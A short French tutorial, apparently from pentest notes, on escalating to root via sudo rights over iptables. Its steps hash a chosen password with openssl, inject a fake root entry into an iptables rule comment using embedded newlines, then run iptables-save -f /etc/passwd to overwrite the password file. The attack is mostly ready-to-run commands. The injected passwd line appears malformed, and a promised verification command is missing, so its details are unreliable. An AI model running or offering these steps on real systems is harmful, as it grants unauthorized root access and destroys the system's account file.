Sudo (IP-Tables) - Linux Privilege Escalation

Étape 1 : Règles de commentaires via iptables

Prenons un exemple simple d'une commande iptables pour ajouter une règle de pare-feu :

sudo iptables -A INPUT -i lo -j ACCEPT

Il est possible d'ajouter des commentaires (jusqu'à 256 caractères) à n'importe quelle règle à l'aide de l'option --comment. Voici un exemple :

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nwhoami\n'

Cela fonctionne, et on peut le vérifier avec la commande suivante :

Observation d'une potentielle vulnérabilité

Avec l'option -f de la commande iptables-save, il est possible de créer des fichiers en tant que root contenant le contenu des règles iptables. Par exemple :

sudo /usr/sbin/iptables-save -f test

Les étapes pour exploiter cette vulnérabilité et obtenir une escalade des privilèges sont les suivantes :

1. Générer un mot de passe root chiffré Utilisez openssl pour chiffrer le nouveau mot de passe au format approprié :

openssl passwd jordan1234

$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0

1. Injecter la commande de modification du mot de passe À l'aide de l'option --comment, injectez la commande suivante pour modifier le mot de passe root

sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash\n'

1. Écraser /etc/passwden exécutant

sudo /usr/sbin/iptables-save -f /etc/passwd